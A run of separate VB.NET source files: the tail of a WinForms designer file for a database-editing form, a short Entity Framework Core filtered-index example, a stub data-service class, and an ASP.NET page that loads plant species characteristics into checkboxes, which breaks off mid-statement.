New System.Drawing.Size(161, 20) Me.txtNewForeignKeyName.TabIndex = 5 ' 'Label8 ' Me.Label8.AutoSize = True Me.Label8.Location = New System.Drawing.Point(6, 9) Me.Label8.Name = "Label8" Me.Label8.Size = New System.Drawing.Size(122, 13) Me.Label8.TabIndex = 4 Me.Label8.Text = "New Foreign Key Name:" ' 'cmbFKTable ' Me.cmbFKTable.FormattingEnabled = True Me.cmbFKTable.Location = New System.Drawing.Point(375, 6) Me.cmbFKTable.Name = "cmbFKTable" Me.cmbFKTable.Size = New System.Drawing.Size(161, 21) Me.cmbFKTable.TabIndex = 3 ' 'Label7 ' Me.Label7.AutoSize = True Me.Label7.Location = New System.Drawing.Point(332, 9) Me.Label7.Name = "Label7" Me.Label7.Size = New System.Drawing.Size(37, 13) Me.Label7.TabIndex = 2 Me.Label7.Text = "Table:" ' 'DataGridView2 ' Me.DataGridView2.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.DataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize Me.DataGridView2.Location = New System.Drawing.Point(0, 60) Me.DataGridView2.Name = "DataGridView2" Me.DataGridView2.Size = New System.Drawing.Size(960, 490) Me.DataGridView2.TabIndex = 0 ' 'TabPage5 ' Me.TabPage5.Controls.Add(Me.chkUnique) Me.TabPage5.Controls.Add(Me.btnAutoNameIndex) Me.TabPage5.Controls.Add(Me.cmbIndexOptions) Me.TabPage5.Controls.Add(Me.lstColumns) Me.TabPage5.Controls.Add(Me.btnDeleteIndex) Me.TabPage5.Controls.Add(Me.btnCreateIndex) Me.TabPage5.Controls.Add(Me.Label13) Me.TabPage5.Controls.Add(Me.cmbNewIndexTable) Me.TabPage5.Controls.Add(Me.Label12) Me.TabPage5.Controls.Add(Me.txtIndexName) Me.TabPage5.Controls.Add(Me.DataGridView4) Me.TabPage5.Controls.Add(Me.Label11) Me.TabPage5.Location = New System.Drawing.Point(4, 22) Me.TabPage5.Name = "TabPage5" Me.TabPage5.Size = New System.Drawing.Size(979, 553) Me.TabPage5.TabIndex = 4 Me.TabPage5.Text = "Indexes" Me.TabPage5.UseVisualStyleBackColor = True ' 'chkUnique ' Me.chkUnique.AutoSize = True Me.chkUnique.Location = New System.Drawing.Point(101, 60) Me.chkUnique.Name = "chkUnique" Me.chkUnique.Size = New System.Drawing.Size(60, 17) Me.chkUnique.TabIndex = 11 Me.chkUnique.Text = "Unique" Me.chkUnique.UseVisualStyleBackColor = True ' 'btnAutoNameIndex ' Me.btnAutoNameIndex.Location = New System.Drawing.Point(290, 4) Me.btnAutoNameIndex.Name = "btnAutoNameIndex" Me.btnAutoNameIndex.Size = New System.Drawing.Size(16, 22) Me.btnAutoNameIndex.TabIndex = 10 Me.btnAutoNameIndex.Text = "<" Me.btnAutoNameIndex.UseVisualStyleBackColor = True ' 'cmbIndexOptions ' Me.cmbIndexOptions.FormattingEnabled = True Me.cmbIndexOptions.Location = New System.Drawing.Point(167, 60) Me.cmbIndexOptions.Name = "cmbIndexOptions" Me.cmbIndexOptions.Size = New System.Drawing.Size(166, 21) Me.cmbIndexOptions.TabIndex = 9 ' 'lstColumns ' Me.lstColumns.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.lstColumns.FormattingEnabled = True Me.lstColumns.Location = New System.Drawing.Point(381, 8) Me.lstColumns.Name = "lstColumns" Me.lstColumns.SelectionMode = System.Windows.Forms.SelectionMode.MultiSimple Me.lstColumns.Size = New System.Drawing.Size(579, 108) Me.lstColumns.TabIndex = 8 ' 'btnDeleteIndex ' Me.btnDeleteIndex.Location = New System.Drawing.Point(6, 102) Me.btnDeleteIndex.Name = "btnDeleteIndex" Me.btnDeleteIndex.Size = New System.Drawing.Size(97, 22) Me.btnDeleteIndex.TabIndex = 7 Me.btnDeleteIndex.Text = "Delete Index" Me.btnDeleteIndex.UseVisualStyleBackColor = True ' 'btnCreateIndex ' Me.btnCreateIndex.Location = New System.Drawing.Point(6, 58) Me.btnCreateIndex.Name = "btnCreateIndex" Me.btnCreateIndex.Size = New System.Drawing.Size(89, 22) Me.btnCreateIndex.TabIndex = 5 Me.btnCreateIndex.Text = "Create Index" Me.btnCreateIndex.UseVisualStyleBackColor = True ' 'Label13 ' Me.Label13.AutoSize = True Me.Label13.Location = New System.Drawing.Point(319, 8) Me.Label13.Name = "Label13" Me.Label13.Size = New System.Drawing.Size(56, 13) Me.Label13.TabIndex = 5 Me.Label13.Text = "Column(s):" ' 'cmbNewIndexTable ' Me.cmbNewIndexTable.FormattingEnabled = True Me.cmbNewIndexTable.Location = New System.Drawing.Point(101, 31) Me.cmbNewIndexTable.Name = "cmbNewIndexTable" Me.cmbNewIndexTable.Size = New System.Drawing.Size(183, 21) Me.cmbNewIndexTable.TabIndex = 4 ' 'Label12 ' Me.Label12.AutoSize = True Me.Label12.Location = New System.Drawing.Point(58, 34) Me.Label12.Name = "Label12" Me.Label12.Size = New System.Drawing.Size(37, 13) Me.Label12.TabIndex = 3 Me.Label12.Text = "Table:" ' 'txtIndexName ' Me.txtIndexName.Location = New System.Drawing.Point(101, 5) Me.txtIndexName.Name = "txtIndexName" Me.txtIndexName.Size = New System.Drawing.Size(183, 20) Me.txtIndexName.TabIndex = 2 ' 'DataGridView4 ' Me.DataGridView4.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.DataGridView4.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize Me.DataGridView4.Location = New System.Drawing.Point(6, 130) Me.DataGridView4.Name = "DataGridView4" Me.DataGridView4.Size = New System.Drawing.Size(954, 420) Me.DataGridView4.TabIndex = 1 ' 'Label11 ' Me.Label11.AutoSize = True Me.Label11.Location = New System.Drawing.Point(3, 8) Me.Label11.Name = "Label11" Me.Label11.Size = New System.Drawing.Size(92, 13) Me.Label11.TabIndex = 0 Me.Label11.Text = "New Index Name:" ' 'TabPage3 ' Me.TabPage3.Controls.Add(Me.btnUpdateDescriptions) Me.TabPage3.Controls.Add(Me.Label2) Me.TabPage3.Controls.Add(Me.cmbDescrSelectTable) Me.TabPage3.Controls.Add(Me.DataGridView3) Me.TabPage3.Location = New System.Drawing.Point(4, 22) Me.TabPage3.Name = "TabPage3" Me.TabPage3.Size = New System.Drawing.Size(979, 553) Me.TabPage3.TabIndex = 2 Me.TabPage3.Text = "Column Descriptions" Me.TabPage3.UseVisualStyleBackColor = True ' 'btnUpdateDescriptions ' Me.btnUpdateDescriptions.Location = New System.Drawing.Point(547, 3) Me.btnUpdateDescriptions.Name = "btnUpdateDescriptions" Me.btnUpdateDescriptions.Size = New System.Drawing.Size(128, 22) Me.btnUpdateDescriptions.TabIndex = 5 Me.btnUpdateDescriptions.Text = "Update Descriptions" Me.btnUpdateDescriptions.UseVisualStyleBackColor = True ' 'Label2 ' Me.Label2.AutoSize = True Me.Label2.Location = New System.Drawing.Point(3, 6) Me.Label2.Name = "Label2" Me.Label2.Size = New System.Drawing.Size(70, 13) Me.Label2.TabIndex = 2 Me.Label2.Text = "Select Table:" ' 'cmbDescrSelectTable ' Me.cmbDescrSelectTable.FormattingEnabled = True Me.cmbDescrSelectTable.Location = New System.Drawing.Point(79, 3) Me.cmbDescrSelectTable.Name = "cmbDescrSelectTable" Me.cmbDescrSelectTable.Size = New System.Drawing.Size(424, 21) Me.cmbDescrSelectTable.TabIndex = 1 ' 'DataGridView3 ' Me.DataGridView3.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.DataGridView3.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize Me.DataGridView3.Location = New System.Drawing.Point(3, 30) Me.DataGridView3.Name = "DataGridView3" Me.DataGridView3.Size = New System.Drawing.Size(955, 602) Me.DataGridView3.TabIndex = 0 ' 'TabPage4 ' Me.TabPage4.Controls.Add(Me.btnRenameTable) Me.TabPage4.Controls.Add(Me.txtNewTableName2) Me.TabPage4.Controls.Add(Me.Label24) Me.TabPage4.Controls.Add(Me.btnAddColumn) Me.TabPage4.Controls.Add(Me.txtDescription) Me.TabPage4.Controls.Add(Me.Label22) Me.TabPage4.Controls.Add(Me.cmbPrimaryKey) Me.TabPage4.Controls.Add(Me.Label21) Me.TabPage4.Controls.Add(Me.cmbAutoIncrement) Me.TabPage4.Controls.Add(Me.Label20) Me.TabPage4.Controls.Add(Me.cmbNull) Me.TabPage4.Controls.Add(Me.Label19) Me.TabPage4.Controls.Add(Me.txtScale) Me.TabPage4.Controls.Add(Me.Label18) Me.TabPage4.Controls.Add(Me.txtPrecision) Me.TabPage4.Controls.Add(Me.Label17) Me.TabPage4.Controls.Add(Me.txtSize) Me.TabPage4.Controls.Add(Me.Label16) Me.TabPage4.Controls.Add(Me.cmbColumnType) Me.TabPage4.Controls.Add(Me.Label15) Me.TabPage4.Controls.Add(Me.txtColumnName) Me.TabPage4.Controls.Add(Me.Label14) Me.TabPage4.Controls.Add(Me.btnDeleteTable) Me.TabPage4.Controls.Add(Me.btnRenameColumn) Me.TabPage4.Controls.Add(Me.txtNewColumnName) Me.TabPage4.Controls.Add(Me.Label5) Me.TabPage4.Controls.Add(Me.cmbUtilitiesSelectColumn) Me.TabPage4.Controls.Add(Me.Label4) Me.TabPage4.Controls.Add(Me.cmbUtilitiesSelectTable) Me.TabPage4.Controls.Add(Me.Label3) Me.TabPage4.Location = New System.Drawing.Point(4, 22) Me.TabPage4.Name = "TabPage4" Me.TabPage4.Size = New System.Drawing.Size(979, 553) Me.TabPage4.TabIndex = 3 Me.TabPage4.Text = "Miscellaneous" Me.TabPage4.UseVisualStyleBackColor = True ' 'btnRenameTable ' Me.btnRenameTable.Location = New System.Drawing.Point(574, 37) Me.btnRenameTable.Name = "btnRenameTable" Me.btnRenameTable.Size = New System.Drawing.Size(105, 22) Me.btnRenameTable.TabIndex = 29 Me.btnRenameTable.Text = "Rename Table" Me.btnRenameTable.UseVisualStyleBackColor = True ' 'txtNewTableName2 ' Me.txtNewTableName2.Location = New System.Drawing.Point(116, 37) Me.txtNewTableName2.Name = "txtNewTableName2" Me.txtNewTableName2.Size = New System.Drawing.Size(442, 20) Me.txtNewTableName2.TabIndex = 28 ' 'Label24 ' Me.Label24.AutoSize = True Me.Label24.Location = New System.Drawing.Point(9, 41) Me.Label24.Name = "Label24" Me.Label24.Size = New System.Drawing.Size(93, 13) Me.Label24.TabIndex = 27 Me.Label24.Text = "New Table Name:" ' 'btnAddColumn ' Me.btnAddColumn.Location = New System.Drawing.Point(607, 182) Me.btnAddColumn.Name = "btnAddColumn" Me.btnAddColumn.Size = New System.Drawing.Size(79, 22) Me.btnAddColumn.TabIndex = 26 Me.btnAddColumn.Text = "Add Column" Me.btnAddColumn.UseVisualStyleBackColor = True ' 'txtDescription ' Me.txtDescription.Location = New System.Drawing.Point(78, 184) Me.txtDescription.Name = "txtDescription" Me.txtDescription.Size = New System.Drawing.Size(523, 20) Me.txtDescription.TabIndex = 25 ' 'Label22 ' Me.Label22.AutoSize = True Me.Label22.Location = New System.Drawing.Point(9, 187) Me.Label22.Name = "Label22" Me.Label22.Size = New System.Drawing.Size(63, 13) Me.Label22.TabIndex = 24 Me.Label22.Text = "Description:" ' 'cmbPrimaryKey ' Me.cmbPrimaryKey.FormattingEnabled = True Me.cmbPrimaryKey.Location = New System.Drawing.Point(607, 156) Me.cmbPrimaryKey.Name = "cmbPrimaryKey" Me.cmbPrimaryKey.Size = New System.Drawing.Size(79, 21) Me.cmbPrimaryKey.TabIndex = 23 ' 'Label21 ' Me.Label21.AutoSize = True Me.Label21.Location = New System.Drawing.Point(607, 141) Me.Label21.Name = "Label21" Me.Label21.Size = New System.Drawing.Size(65, 13) Me.Label21.TabIndex = 22 Me.Label21.Text = "Primary Key:" ' 'cmbAutoIncrement ' Me.cmbAutoIncrement.FormattingEnabled = True Me.cmbAutoIncrement.Location = New System.Drawing.Point(522, 156) Me.cmbAutoIncrement.Name = "cmbAutoIncrement" Me.cmbAutoIncrement.Size = New System.Drawing.Size(79, 21) Me.cmbAutoIncrement.TabIndex = 21 ' 'Label20 ' Me.Label20.AutoSize = True Me.Label20.Location = New System.Drawing.Point(519, 141) Me.Label20.Name = "Label20" Me.Label20.Size = New System.Drawing.Size(82, 13) Me.Label20.TabIndex = 20 Me.Label20.Text = "Auto Increment:" ' 'cmbNull ' Me.cmbNull.FormattingEnabled = True Me.cmbNull.Location = New System.Drawing.Point(445, 157) Me.cmbNull.Name = "cmbNull" Me.cmbNull.Size = New System.Drawing.Size(70, 21) Me.cmbNull.TabIndex = 19 ' 'Label19 ' Me.Label19.AutoSize = True Me.Label19.Location = New System.Drawing.Point(442, 142) Me.Label19.Name = "Label19" Me.Label19.Size = New System.Drawing.Size(71, 13) Me.Label19.TabIndex = 18 Me.Label19.Text = "Null/Not Null:" ' 'txtScale ' Me.txtScale.Location = New System.Drawing.Point(388, 158) Me.txtScale.Name = "txtScale" Me.txtScale.Size = New System.Drawing.Size(51, 20) Me.txtScale.TabIndex = 17 ' 'Label18 ' Me.Label18.AutoSize = True Me.Label18.Location = New System.Drawing.Point(387, 142) Me.Label18.Name = "Label18" Me.Label18.Size = New System.Drawing.Size(37, 13) Me.Label18.TabIndex = 16 Me.Label18.Text = "Scale:" ' 'txtPrecision ' Me.txtPrecision.Location = New System.Drawing.Point(331, 158) Me.txtPrecision.Name = "txtPrecision" Me.txtPrecision.Size = New System.Drawing.Size(51, 20) Me.txtPrecision.TabIndex = 15 ' 'Label17 ' Me.Label17.AutoSize = True Me.Label17.Location = New System.Drawing.Point(328, 141) Me.Label17.Name = "Label17" Me.Label17.Size = New System.Drawing.Size(53, 13) Me.Label17.TabIndex = 14 Me.Label17.Text = "Precision:" ' 'txtSize ' Me.txtSize.Location = New System.Drawing.Point(272, 157) Me.txtSize.Name = "txtSize" Me.txtSize.Size = New System.Drawing.Size(51, 20) Me.txtSize.TabIndex = 13 ' 'Label16 ' Me.Label16.AutoSize = True Me.Label16.Location = New System.Drawing.Point(269, 141) Me.Label16.Name = "Label16" Me.Label16.Size = New System.Drawing.Size(30, 13) Me.Label16.TabIndex = 12 Me.Label16.Text = "Size:" ' 'cmbColumnType ' Me.cmbColumnType.FormattingEnabled = True Me.cmbColumnType.Location = New System.Drawing.Point(156, 157) Me.cmbColumnType.Name = "cmbColumnType" Me.cmbColumnType.Size = New System.Drawing.Size(107, 21) Me.cmbColumnType.TabIndex = 11 ' 'Label15 ' Me.Label15.AutoSize = True Me.Label15.Location = New System.Drawing.Point(153, 141) Me.Label15.Name = "Label15" Me.Label15.Size = New System.Drawing.Size(34, 13) Me.Label15.TabIndex = 10 Me.Label15.Text = "Type:" ' 'txtColumnName ' Me.txtColumnName.Location = New System.Drawing.Point(12, 157) Me.txtColumnName.Name = "txtColumnName" Me.txtColumnName.Size = New System.Drawing.Size(135, 20) Me.txtColumnName.TabIndex = 9 ' 'Label14 ' Me.Label14.AutoSize = True Me.Label14.Location = New System.Drawing.Point(9, 141) Me.Label14.Name = "Label14" Me.Label14.Size = New System.Drawing.Size(76, 13) Me.Label14.TabIndex = 8 Me.Label14.Text = "Column Name:" ' 'btnDeleteTable ' Me.btnDeleteTable.Location = New System.Drawing.Point(574, 10) Me.btnDeleteTable.Name = "btnDeleteTable" Me.btnDeleteTable.Size = New System.Drawing.Size(105, 22) Me.btnDeleteTable.TabIndex = 7 Me.btnDeleteTable.Text = "Delete Table" Me.btnDeleteTable.UseVisualStyleBackColor = True ' 'btnRenameColumn ' Me.btnRenameColumn.Location = New System.Drawing.Point(574, 89) Me.btnRenameColumn.Name = "btnRenameColumn" Me.btnRenameColumn.Size = New System.Drawing.Size(105, 22) Me.btnRenameColumn.TabIndex = 6 Me.btnRenameColumn.Text = "Rename Column" Me.btnRenameColumn.UseVisualStyleBackColor = True ' 'txtNewColumnName ' Me.txtNewColumnName.Location = New System.Drawing.Point(116, 90) Me.txtNewColumnName.Name = "txtNewColumnName" Me.txtNewColumnName.Size = New System.Drawing.Size(442, 20) Me.txtNewColumnName.TabIndex = 5 ' 'Label5 ' Me.Label5.AutoSize = True Me.Label5.Location = New System.Drawing.Point(9, 93) Me.Label5.Name = "Label5" Me.Label5.Size = New System.Drawing.Size(101, 13) Me.Label5.TabIndex = 4 Me.Label5.Text = "New Column Name:" ' 'cmbUtilitiesSelectColumn ' Me.cmbUtilitiesSelectColumn.FormattingEnabled = True Me.cmbUtilitiesSelectColumn.Location = New System.Drawing.Point(116, 63) Me.cmbUtilitiesSelectColumn.Name = "cmbUtilitiesSelectColumn" Me.cmbUtilitiesSelectColumn.Size = New System.Drawing.Size(442, 21) Me.cmbUtilitiesSelectColumn.TabIndex = 3 ' 'Label4 ' Me.Label4.AutoSize = True Me.Label4.Location = New System.Drawing.Point(9, 66) Me.Label4.Name = "Label4" Me.Label4.Size = New System.Drawing.Size(78, 13) Me.Label4.TabIndex = 2 Me.Label4.Text = "Select Column:" ' 'cmbUtilitiesSelectTable ' Me.cmbUtilitiesSelectTable.FormattingEnabled = True Me.cmbUtilitiesSelectTable.Location = New System.Drawing.Point(116, 10) Me.cmbUtilitiesSelectTable.Name = "cmbUtilitiesSelectTable" Me.cmbUtilitiesSelectTable.Size = New System.Drawing.Size(442, 21) Me.cmbUtilitiesSelectTable.TabIndex = 1 ' 'Label3 ' Me.Label3.AutoSize = True Me.Label3.Location = New System.Drawing.Point(9, 13) Me.Label3.Name = "Label3" Me.Label3.Size = New System.Drawing.Size(70, 13) Me.Label3.TabIndex = 0 Me.Label3.Text = "Select Table:" ' 'OpenFileDialog1 ' Me.OpenFileDialog1.FileName = "OpenFileDialog1" ' 'frmModifyDatabase ' Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.ClientSize = New System.Drawing.Size(1011, 631) Me.Controls.Add(Me.TabControl1) Me.Controls.Add(Me.btnExit) Me.Name = "frmModifyDatabase" Me.Text = "Modify Database" Me.TabControl1.ResumeLayout(False) Me.TabPage1.ResumeLayout(False) Me.TabPage1.PerformLayout() CType(Me.DataGridView1, System.ComponentModel.ISupportInitialize).EndInit() Me.TabPage2.ResumeLayout(False) Me.TabPage2.PerformLayout() CType(Me.DataGridView2, System.ComponentModel.ISupportInitialize).EndInit() Me.TabPage5.ResumeLayout(False) Me.TabPage5.PerformLayout() CType(Me.DataGridView4, System.ComponentModel.ISupportInitialize).EndInit() Me.TabPage3.ResumeLayout(False) Me.TabPage3.PerformLayout() CType(Me.DataGridView3, System.ComponentModel.ISupportInitialize).EndInit() Me.TabPage4.ResumeLayout(False) Me.TabPage4.PerformLayout() Me.ResumeLayout(False) End Sub Friend WithEvents btnExit As Button Friend WithEvents TabControl1 As TabControl Friend WithEvents TabPage1 As TabPage Friend WithEvents btnCreateTable As Button Friend WithEvents txtNewTableName As TextBox Friend WithEvents Label1 As Label Friend WithEvents DataGridView1 As DataGridView Friend WithEvents TabPage2 As TabPage Friend WithEvents btnAutoNameFK As Button Friend WithEvents btnDeleteRelationship As Button Friend WithEvents btnCreateRelationship As Button Friend WithEvents cmbRelatedColumn As ComboBox Friend WithEvents Label6 As Label Friend WithEvents cmbRelatedTable As ComboBox Friend WithEvents Label10 As Label Friend WithEvents cmbFKColumn As ComboBox Friend WithEvents Label9 As Label Friend WithEvents txtNewForeignKeyName As TextBox Friend WithEvents Label8 As Label Friend WithEvents cmbFKTable As ComboBox Friend WithEvents Label7 As Label Friend WithEvents DataGridView2 As DataGridView Friend WithEvents TabPage5 As TabPage Friend WithEvents chkUnique As CheckBox Friend WithEvents btnAutoNameIndex As Button Friend WithEvents cmbIndexOptions As ComboBox Friend WithEvents lstColumns As ListBox Friend WithEvents btnDeleteIndex As Button Friend WithEvents btnCreateIndex As Button Friend WithEvents Label13 As Label Friend WithEvents cmbNewIndexTable As ComboBox Friend WithEvents Label12 As Label Friend WithEvents txtIndexName As TextBox Friend WithEvents DataGridView4 As DataGridView Friend WithEvents Label11 As Label Friend WithEvents TabPage3 As TabPage Friend WithEvents btnUpdateDescriptions As Button Friend WithEvents Label2 As Label Friend WithEvents cmbDescrSelectTable As ComboBox Friend WithEvents DataGridView3 As DataGridView Friend WithEvents TabPage4 As TabPage Friend WithEvents btnAddColumn As Button Friend WithEvents txtDescription As TextBox Friend WithEvents Label22 As Label Friend WithEvents cmbPrimaryKey As ComboBox Friend WithEvents Label21 As Label Friend WithEvents cmbAutoIncrement As ComboBox Friend WithEvents Label20 As Label Friend WithEvents cmbNull As ComboBox Friend WithEvents Label19 As Label Friend WithEvents txtScale As TextBox Friend WithEvents Label18 As Label Friend WithEvents txtPrecision As TextBox Friend WithEvents Label17 As Label Friend WithEvents txtSize As TextBox Friend WithEvents Label16 As Label Friend WithEvents cmbColumnType As ComboBox Friend WithEvents Label15 As Label Friend WithEvents txtColumnName As TextBox Friend WithEvents Label14 As Label Friend WithEvents btnDeleteTable As Button Friend WithEvents btnRenameColumn As Button Friend WithEvents txtNewColumnName As TextBox Friend WithEvents Label5 As Label Friend WithEvents cmbUtilitiesSelectColumn As ComboBox Friend WithEvents Label4 As Label Friend WithEvents cmbUtilitiesSelectTable As ComboBox Friend WithEvents Label3 As Label Friend WithEvents btnFindTableDef As Button Friend WithEvents txtTableDefFileName As TextBox Friend WithEvents Label23 As Label Friend WithEvents OpenFileDialog1 As OpenFileDialog Friend WithEvents btnRenameTable As Button Friend WithEvents txtNewTableName2 As TextBox Friend WithEvents Label24 As Label Friend WithEvents btnInsertBelow As Button Friend WithEvents btnInsertAbove As Button Friend WithEvents btnMoveDown As Button Friend WithEvents btnMoveUp As Button Friend WithEvents btnDeleteRow As Button End Class
Imports Microsoft.EntityFrameworkCore Namespace Relational.IndexFilter Friend Class MyContext Inherits DbContext Public Property Blogs As DbSet(Of Blog) #Region "IndexFilter" Protected Overrides Sub OnModelCreating(modelBuilder As ModelBuilder) modelBuilder. Entity(Of Blog)(). HasIndex(Function(b) b.Url). HasFilter("[Url] IS NOT NULL") End Sub End Class #End Region Public Class Blog Public Property BlogId As Integer Public Property Url As String End Class End Namespace
Imports System.Data Imports System.Data.Common Imports bv.common.db.Core Imports bv.common.Enums Public Class HumanCaseDiagnosisChangeReason_DB Inherits BaseDbService Public Sub New() ObjectName = "HumanCase" End Sub Public Overrides Function GetDetail(ByVal ID As Object) As DataSet Dim ds As New DataSet Try m_ID = ID m_IsNewObject = True Return ds Catch ex As Exception m_Error = New ErrorMessage(StandardError.FillDatasetError, ex) Return Nothing End Try End Function Public Overrides Function PostDetail(ByVal ds As DataSet, ByVal postType As Integer, Optional ByVal transaction As IDbTransaction = Nothing) As Boolean Return True End Function End Class
Imports System.Drawing Imports System.Drawing.Imaging Imports Subgurim.Controles Imports System.IO Imports System.Data Imports System.Data.SqlClient Imports System.Web.Configuration Partial Class Mgm_Project_EditSpeciesCharacteristics Inherits System.Web.UI.Page Dim dv As Data.DataView Dim dv0, dv1, dv2, dv3 As DataView Private dsSpeciesCharacters As New DataSet Private dataAdapter As New SqlDataAdapter Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load DBBind() End Sub Protected Sub DBBind() Dim intClass As Integer Dim txtSpecies As String Dim txtCharacteristcsList As String Try Dim connSetting As ConnectionStringSettings = WebConfigurationManager.ConnectionStrings("HASTDBConnectionString") Dim conn As SqlConnection = New SqlConnection(connSetting.ConnectionString) Dim strSQL As String = "" Dim sqlCommand As New SqlCommand Dim InsertCommand As New SqlCommand strSQL = "prSpeciesCharacteristics" If Request.QueryString("speciesID") <> "" Then Dim paramSpeciesID As New SqlParameter("speciesID", SqlDbType.Int) paramSpeciesID.Direction = Data.ParameterDirection.Input paramSpeciesID.Value = Request.QueryString("speciesID") sqlCommand.Parameters.Add(paramSpeciesID) End If sqlCommand.CommandText = strSQL sqlCommand.Connection = conn sqlCommand.CommandType = CommandType.StoredProcedure If Request.QueryString("speciesID") <> "" Or Request.QueryString("lID") <> "" Then 'If Request.QueryString("speciesID") <> "" Then 'If Request.QueryString("lID") <> "" Then 若 request page 則改檢查lID dataAdapter = New SqlDataAdapter dataAdapter.SelectCommand = sqlCommand conn.Open() dataAdapter.Fill(dsSpeciesCharacters) '學名資料 dv0 = New DataView dv0.Table = dsSpeciesCharacters.Tables(0) intClass = dv0.Item(0).Row(0) txtSpecies = dv0.Item(0).Row(2) Label1.Text = txtSpecies dv3 = New DataView dv3.Table = dsSpeciesCharacters.Tables(3) '特徵值陣列轉字串 txtCharacteristcsList = "," & dv3.Item(0).Row(0) & "," txtCharacteristcsList = Replace(txtCharacteristcsList, " ", "") 'If txtCharacteristcsList.Contains(",25,") Or intClass = 1 Then '蕨類 If intClass = 1 Then '蕨類 plantCate.Items.FindByValue(25).Selected = True LabelFlowerColor.Visible = False LabelPetal.Visible = False LabelPerianth.Visible = False LabelAnthotaxy.Visible = False LabelInflorescene.Visible = False LabelFruit.Visible = False flowerColor.Visible = False petal.Visible = False perianth.Visible = False anthotaxy.Visible = False inflorescene.Visible = False fruit.Visible = False '蕨類特徵填入 If txtCharacteristcsList.Contains(",27,") Then perispore.Items.FindByValue(27).Selected = True End If If txtCharacteristcsList.Contains(",29,") Then perispore.Items.FindByValue(29).Selected = True End If If txtCharacteristcsList.Contains(",31,") Then perisporeType.Items.FindByValue(31).Selected = True End If If txtCharacteristcsList.Contains(",32,") Then perisporeType.Items.FindByValue(32).Selected = True End If If txtCharacteristcsList.Contains(",33,") Then perisporeType.Items.FindByValue(33).Selected = True End If If txtCharacteristcsList.Contains(",34,") Then perisporeType.Items.FindByValue(34).Selected = True End If If txtCharacteristcsList.Contains(",35,") Then perisporeType.Items.FindByValue(35).Selected = True End If If txtCharacteristcsList.Contains(",36,") Then perisporeType.Items.FindByValue(36).Selected = True End If If txtCharacteristcsList.Contains(",37,") Then perisporeType.Items.FindByValue(37).Selected = True End If If txtCharacteristcsList.Contains(",38,") Then perisporeType.Items.FindByValue(38).Selected = True End If If txtCharacteristcsList.Contains(",39,") Then perisporeType.Items.FindByValue(39).Selected = True End If If txtCharacteristcsList.Contains(",40,") Then perisporeType.Items.FindByValue(40).Selected = True End If If txtCharacteristcsList.Contains(",41,") Then perisporeType.Items.FindByValue(41).Selected = True End If If txtCharacteristcsList.Contains(",42,") Then perisporeType.Items.FindByValue(42).Selected = True End If If txtCharacteristcsList.Contains(",43,") Then perisporeType.Items.FindByValue(43).Selected = True End If If txtCharacteristcsList.Contains(",44,") Then perisporeType.Items.FindByValue(44).Selected = True End If 'ElseIf txtCharacteristcsList.Contains(",26,") OrElse intClass = 2 OrElse 3 OrElse 4 Then '開花植物 ElseIf intClass = 2 OrElse 3 OrElse 4 Then '開花植物 plantCate.Items.FindByValue(26).Selected = True LabelPerispore.Visible = False LabelPerisporeType.Visible = False perispore.Visible = False perisporeType.Visible = False '開花植物特徵填入 ' 花色 If txtCharacteristcsList.Contains(",51,") Then flowerColor.Items.FindByValue(51).Selected = True End If If txtCharacteristcsList.Contains(",52,") Then flowerColor.Items.FindByValue(52).Selected = True End If If txtCharacteristcsList.Contains(",53,") Then flowerColor.Items.FindByValue(53).Selected = True End If If txtCharacteristcsList.Contains(",54,") Then flowerColor.Items.FindByValue(54).Selected = True End If If txtCharacteristcsList.Contains(",55,") Then flowerColor.Items.FindByValue(55).Selected = True End If If txtCharacteristcsList.Contains(",56,") Then flowerColor.Items.FindByValue(56).Selected = True End If If txtCharacteristcsList.Contains(",57,") Then flowerColor.Items.FindByValue(57).Selected = True End If ' 花瓣 If txtCharacteristcsList.Contains(",58,") Then petal.Items.FindByValue(58).Selected = True ElseIf txtCharacteristcsList.Contains(",59,") Then petal.Items.FindByValue(59).Selected = True End If ' 花被裂片數 If txtCharacteristcsList.Contains(",60,") Then perianth.Items.FindByValue(60).Selected = True End If If txtCharacteristcsList.Contains(",61,") Then perianth.Items.FindByValue(61).Selected = True End If If txtCharacteristcsList.Contains(",62,") Then perianth.Items.FindByValue(62).Selected = True End If If txtCharacteristcsList.Contains(",63,") Then perianth.Items.FindByValue(63).Selected = True End If If txtCharacteristcsList.Contains(",64,") Then perianth.Items.FindByValue(64).Selected = True End If If txtCharacteristcsList.Contains(",65,") Then perianth.Items.FindByValue(65).Selected = True End If If txtCharacteristcsList.Contains(",66,") Then perianth.Items.FindByValue(66).Selected = True End If If txtCharacteristcsList.Contains(",67,") Then perianth.Items.FindByValue(67).Selected = True End If ' 花序形態 If txtCharacteristcsList.Contains(",68,") Then anthotaxy.Items.FindByValue(68).Selected = True End If If txtCharacteristcsList.Contains(",69,") Then anthotaxy.Items.FindByValue(69).Selected = True End If If txtCharacteristcsList.Contains(",70,") Then anthotaxy.Items.FindByValue(70).Selected = True End If If txtCharacteristcsList.Contains(",71,") Then anthotaxy.Items.FindByValue(71).Selected = True End If If txtCharacteristcsList.Contains(",72,") Then anthotaxy.Items.FindByValue(72).Selected = True End If If txtCharacteristcsList.Contains(",73,") Then anthotaxy.Items.FindByValue(73).Selected = 